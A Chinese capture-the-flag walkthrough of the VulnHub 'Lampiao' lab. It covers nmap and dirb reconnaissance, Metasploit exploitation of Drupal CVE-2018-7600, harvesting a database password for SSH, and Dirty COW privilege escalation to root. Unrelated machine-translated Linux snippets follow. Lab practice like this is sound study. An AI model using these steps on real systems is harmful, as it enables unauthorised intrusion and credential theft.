靶场练习之Lampiao

2023-10-27

一、环境搭建

lampiao靶场下载地址:Lampião: 1 ~ VulnHub

使用vm打开,配置kali和靶场在同一个网络,建议都为net连接。

二、信息收集

1、nmap扫描

使用nmap扫描整个网段,找到靶机的ip地址

nmap -sS -Pn 192.168.108.0/24   #得到靶机ip地址

2、进一步nmap扫描

使用nmap进一步扫描,扫出更多的信息

nmap -T4 -A -p 1-65535 192.168.108.129   #对目标ip进行nmap的-T4快速扫描

3、端口

80端口

访问靶机的80端口,发现一个静态网页

dirb http://192.168.108.129   #对目标IP进行基于字典的web目录扫描,无果

nikto -h http://192.168.108.129   #对目标ip进行web漏洞扫描,无果

1898端口

目录爆破

dirb http://192.168.108.129:1898   #得到robots.txt

网页打开robots.txt文件,发现更新文件CHANGELOG.txt

访问更新文件CHANGELOG.txt,发现Drupal版本7.54,百度查看发现存在CVE-2018-7600的Drupal漏洞

三、漏洞利用

使用msf的search发现存在Drupal核心远程代码执行漏洞CVE-2018-7600,使用msf攻击

msf      #打开msf
search durpal     #搜索durpal的版本漏洞

use 1                               #使用攻击模块1
set rhosts 192.168.108.129          #设置目标ip
set rport 1898                      #设置目标端口
show options                        #查看信息是否设置正确
 
run                                       #运行攻击模块
cat                                       #查找文件内容
pwd                                       #查找内容为pwd的文件
cat sites/default/settings.php            #查看settings.php文件

找到数据库密码

ls /home    #查看home下的文件

四、权限提升

1、登录ssh

使用tiago和数据库密码进行ssh登入

ssh tiago@192.168.108.129    #使用ssh连接登入

2、查找40847.cpp文件

searchsploit dirty     #用kali自带的searchsploit来搜索dirty中的漏洞利用代码
cp /user/share/exploitdb/exploits/linux/local/40847.cpp /home/zhang           #复制一份40847.cpp文件到/home/zhang文件下

3、复制粘贴一份40847.cpp文件到目标靶机

先将上文复制的一份40847.cpp文件打开,复制里面的内容到真机

然后将内容复制到目标靶机的一个新文件dirtycow.cpp里

vim dirtycow.cpp    #新建并打开dirtycow.cpp文件

4、编译、运行dirtycow.cpp

ls                #查看文件是否存在
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow dirtycow.cpp -lutil             #编译、运行dirtycow.cpp【附页1】
whoami            #查看当前有效用户名的命令
ls
cat flag.txt      #查看flag.txt文件


【附页1】
-Wall 一般使用该选项,允许发出GCC能够提供的所有有用的警告
-pedantic 允许发出ANSI/ISO C标准所列出的所有警告
-O2编译器的优化选项的4个级别,-O0表示没有优化,-O1为缺省值,-O3优化级别最高
-std=c++11就是用按C++2011标准来编译的 
-pthread 在Linux中要用到多线程时,需要链接pthread库
-o  指定gcc生成的目标文件名 

 

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

靶场练习之Lampiao 的相关文章

  • 在内核代码中查找函数的最佳方法[关闭]

    Closed 这个问题不符合堆栈溢出指南 help closed questions 目前不接受答案 我开始浏览内核代码 遇到的一件事是如何跟踪函数调用 结构定义等 有没有一种好的方法可以快速跳转到函数定义并退出 我尝试过 Source N
  • 有没有一种快速方法可以从 Jar/war 中删除文件,而无需提取 jar 并重新创建它?

    所以我需要从 jar war 文件中删除一个文件 我希望有类似 jar d myjar jar file I donot need txt 的内容 但现在我能看到从 Linux 命令行执行此操作的唯一方法 不使用 WinRAR Winzip
  • 调用 printf 系统子例程在汇编代码中输出整数错误[重复]

    这个问题在这里已经有答案了 来回 在windows7控制台窗口中运行gcc s2 asm 然后生成一个exe文件 运行a exe 然后崩溃 为什么 s2 asm 代码由以下源代码生成 int m m 1 iprint m s2 asm请参考
  • 在 .gitconfig 中隐藏 GitHub 令牌

    我想将所有点文件存储在 GitHub 上 包括 gitconfig 这需要我将 GitHub 令牌隐藏在 gitconfig 中 为此 我有一个 gitconfig hidden token 文件 这是我打算编辑并放在隐藏令牌的 git 下
  • 我们真的应该使用 Chef 来管理 sudoers 文件吗?

    这是我的问题 我担心如果 Chef 破坏了 sudoers 文件中的某些内容 可能是 Chef 用户错误地使用了说明书 那么服务器将完全无法访问 我讨厌我们完全失去客户的生产服务器 因为我们弄乱了 sudoers 文件并且无法再通过 ssh
  • 在centos中安装sqlite3 dev和其他包

    我正在尝试使用 cpanel 在 centos 机器上安装 sqlite dev 和其他库 以便能够编译应用程序 我对 debian 比 centos 更熟悉 我知道我需要的库是 libsqlite3 dev libkrb5 dev lib
  • 就分页分段内存而言的程序寿命

    我对 x86 Linux 机器中的分段和分页过程有一个令人困惑的概念 如果有人能澄清从开始到结束所涉及的所有步骤 我们将很高兴 x86 使用分页分段内存技术进行内存管理 任何人都可以解释一下从可执行的 elf 格式文件从硬盘加载到主内存到它
  • 从 ttyUSB0 写入和读取,无法得到响应

    我对 Linux tty 不太有经验 我的环境是带有丰富 USB 串行的 Raspbian 什么有效 stty F dev ttyUSB0 38400 cu l dev ttyUSB0 s 38400 cu to dev ttyUSB0作品
  • 并行运行 shell 脚本

    我有一个 shell 脚本 打乱大型文本文件 600 万行和 6 列 根据第一列对文件进行排序 输出 1000 个文件 所以伪代码看起来像这样 file1 sh bin bash for i in seq 1 1000 do Generat
  • 使用包管理器时如何管理 Perl 模块?

    A 最近的问题 https stackoverflow com questions 397817 unable to find perl modules in intrepid ibex ubuntu这让我开始思考 在我尝试过的大多数 Li
  • .net-core:ILDASM / ILASM 的等效项

    net core 是否有相当于 ILDASM ILASM 的功能 具体来说 我正在寻找在 Linux 上运行的东西 因此为什么是 net core ildasm 和 ilasm 工具都是使用此存储库中的 CoreCLR 构建的 https
  • 与 pthread 的进程间互斥

    我想使用一个互斥体 它将用于同步对两个不同进程共享的内存中驻留的某些变量的访问 我怎样才能做到这一点 执行该操作的代码示例将非常感激 以下示例演示了 Pthread 进程间互斥体的创建 使用和销毁 将示例推广到多个进程作为读者的练习 inc
  • 静态方法的 Java 内存模型

    我来自操作系统和 C 语言背景 在代码编译时 世界很简单 需要处理和理解堆栈 堆文本部分等 当我开始学习 Java 时 我确实了解 JVM 和垃圾收集器 我对静态方法感到很有趣 根据我的理解 类的所有实例都会在堆中创建 然后被清理 但是 对
  • Mac OS X 上的 /proc/self/cmdline / GetCommandLine 等效项是什么?

    如何在不使用 argc argv 的情况下访问 Mac OS X 上的命令行 在 Linux 上 我会简单地阅读 proc self cmdline or use GetCommandLine在 Windows 上 但我找不到 Mac OS
  • 使用 python 脚本更改 shell 中的工作目录

    我想实现一个用户态命令 它将采用其参数之一 路径 并将目录更改为该目录 程序完成后 我希望 shell 位于该目录中 所以我想实施cd命令 但需要外部程序 可以在 python 脚本中完成还是我必须编写 bash 包装器 Example t
  • 绕过 dev/urandom|random 进行测试

    我想编写一个功能测试用例 用已知的随机数值来测试程序 我已经在单元测试期间用模拟对其进行了测试 但我也希望用于功能测试 当然不是全部 最简单的方法是什么 dev urandom仅覆盖一个进程 有没有办法做类似的事情chroot对于单个文件并
  • Linux/POSIX:为什么 fork() 不分叉*所有*线程

    众所周知 POSIX下创建新进程的默认方式是使用fork 在 Linux 下 这在内部映射到clone 我想知道的是 众所周知 当一个人打电话时fork 子进程是用单个线程创建的 调用的线程fork cf https linux die n
  • 检查已安装的软件包,如果没有找到则安装

    我需要检查已安装的软件包 如果未安装则安装它们 RHEL CentOS Fedora 示例 rpm qa grep glibc static glibc static 2 12 1 80 el6 3 5 i686 如何在 BASH 中进行检
  • 复制目录内容

    我想将目录 tmp1 的内容复制到另一个目录 tmp2 tmp1 可能包含文件和其他目录 我想使用C C 复制tmp1的内容 包括模式 如果 tmp1 包含目录树 我想递归复制它们 最简单的解决方案是什么 我找到了一个解决方案来打开目录并读
  • ansible unarchive 模块如何查找 tar 二进制文件?

    我正在尝试执行一个 ansible 剧本 该剧本的任务是利用unarchive模块 因为我是在 OSX 上执行此操作 所以我需要使用它gnu tar 而不是bsd tar通常与 OSX 一起提供 因为BSD tar 不受官方支持 https

随机推荐

  • The connection property 'zeroDateTimeBehavior' only accepts values of the form

    前景概述 表user info中created time 设计为 created time timestamp not null default current timestamp java插入数据时没有填写createdTime字段 就抛
  • 自定义view之水波浪进度球

    这段时间项目做完了 本以为可以偷懒一段时间 结果领导又接了一个车载项目让我做 很气但是没办法 还是得搞 谁让我是搬砖的呢 今天搞了一个水波纹的自定义控件 先看效果 第一眼还是觉得可以看的 其实我觉得有点丑 ui妹子说挺好看 好吧 那就这样吧
  • 【设计经验】5、Verilog对数据进行四舍五入(round)与饱和(saturation)截位

    原文链接 https www cnblogs com liujinggang p 10549095 html
  • 浅谈chrony服务

    浅谈chrony服务 chrony概念 Chrony 是 NTP 客户端的替代品 Chrony 的优势 更快的同步只需要数分钟而非数小时时间 从而最大程度减少了时间和频率 误差 对于并非全天 24 小时运行的虚拟计算机而言非常有用 能够更好
  • 图的m着色问题——回溯法及其优化(变量排序MRV, 值排序MCV, 前向检查ForwardChecking, 智能回溯, 边相容,K阶相容)python C++实现

    文章目录 图的m着色问题背景 背景知识 问题描述 回溯法的原理及其实现 回溯法基本思想 朴素回溯法解决图的m着色问题 回溯优化策略 回溯法优化 变量排序MRV 回溯法优化 值排序MCV 回溯法优化 前向检查ForwardChecking 边
  • [Transformer]TNASP: A Transformer-based NAS Predictor with a Self-evolution Framework

    TNASP 基于Transformer和自进化的的NAS Predictor Abstract Section I Introduction Section II Related Work Training based network pe
  • C++11-14 第5讲 Uniform Initialization 一致初始化值 &initializer_list

    版权说明 本博文属于个人笔记 本人保留对本文的所有权益 未经许可不得以任何形式转载 Uniform Initialization 一致初始化值 新手困惑初始化怎么写 可能发生在 中 任何初始化都用共通写法 旧 Rect r1 1 2 3 R
  • 6.3.3法线贴图

    1 法线贴图必须与灯光同时进行 2 从法线纹理取得模型空间的法线 再根据切线空间到世界空间的变换矩阵 传递到世界坐标系的法线 再进行计算
  • 和你一起draw9patch

    前言 在工作当中 你总会遇到制作点9图片的时候 我就在公司的新项目中遇到了 很多人说 这交给UI妹妹做就好了 为啥要烦劳我们自己动手 第一呢 作为程序员的我们 多学点东西是没错的 第二呢 UI妹妹做的点9图片产生的效果不是你想要的 一 制作
  • 小程序如何使用vant

    小程序如何使用vant 使用 Vant Weapp 前我强烈的建议大家去看下微信官方的 小程序简易教程 和 自定义组件介绍 点击下方超链接 https youzan github io vant weapp quickstart 第一步 首
  • 目标检测入门概念知识

    一个常见的目标检测网络 其本身往往可以分为一下三大块 Backbone network 即主干网络 目标检测网络的主体结构 是目标检测网络最为核心的部分 大多数时候 backbone选择的好坏 对检测性能影响是十分巨大的 代表网络有 VGG
  • ORB_SLAM2特征匹配

    ORB SLAM2特征匹配 SearchByProjection 使用于运动模型跟踪 函数原型 函数简介 知识难点 由两帧绝对位姿推出两帧相对位姿 前进与后退对搜索范围的影响 描述子的比较 方向一致性检测 运用于局部地图跟踪 函数原型 函数
  • 注解处理器APT在java中的实现

    概念理解 APT 英文全名 Annotation Processor Tool 即 注解处理器 它是 javac 的一个工具 这是Sun为了帮助注解的处理过程而提供的工具 apt被设计为操作Java源文件 而不是编译后的类 作用阶段示意图如
  • 正则表达式使用文档

    通过网站 https regex101 com 可以测试正则表达式的匹配结果及匹配过程 本文章抛开各个编程语言实现差异 仅做正则本身的介绍 会尽量将正则这玩意说明白 使得你看完这边文章后对正则基本可以运用自如 温馨提示 这篇文章会比较长 大
  • Nginx php 错误日志排查

    遇到错误 通常解决流程如下 比如一个php存储服务器的文件上传问题 px ef grep php fpm 查看fpm 是否启动 查看 fpm 运行用户以及权限 发现运行用户为 nobody 组 nobody 文件写入权限为 root cho
  • logPath_IS_UNDEFINED

    logPath IS UNDEFINED 解决Springboot项目启动的时候日志文件找不到路径新建文件夹的问题 网上也有很多案例 大部分都是路径没正确引入 或者引入springCloud依赖 在bootstrap yml配置 今天自己摸
  • 移动web开发基础

    目录 移动web开发 浏览器现状 PC 端常见浏览器 移动端常用浏览器 手机屏幕现状 常用移动端屏幕尺寸 移动端调用方式 总结 视口 1 布局视口 layout viewport 2 视觉视口 visual viewport 3 理想视口
  • C51语句概念

    C51语句概念 单分支语句 表达语句 if 表达式 分支一 else 分支二 表达语句 if 表达式 语句 include
  • mybatis怎么实现 FULL JOIN?

    问题 今天写查询的时候 遇到了一个难题 两个查询出来的表 可能左边的表里有这个类型的数据 右表里面没有 但是我也要把它查出来 右表有的 左表没有的也要显示出来 经过我的一番探索 找了 FULL JOIN 全连接 sql中很简单 有关键字 但
  • 靶场练习之Lampiao

    一 环境搭建 lampiao靶场下载地址 Lampi o 1 VulnHub 使用vm打开 配置kali和靶场在同一个网络 建议都为net连接 二 信息收集 1 nmap扫描 使用nmap扫描整个网段 找到靶机的ip地址 nmap sS P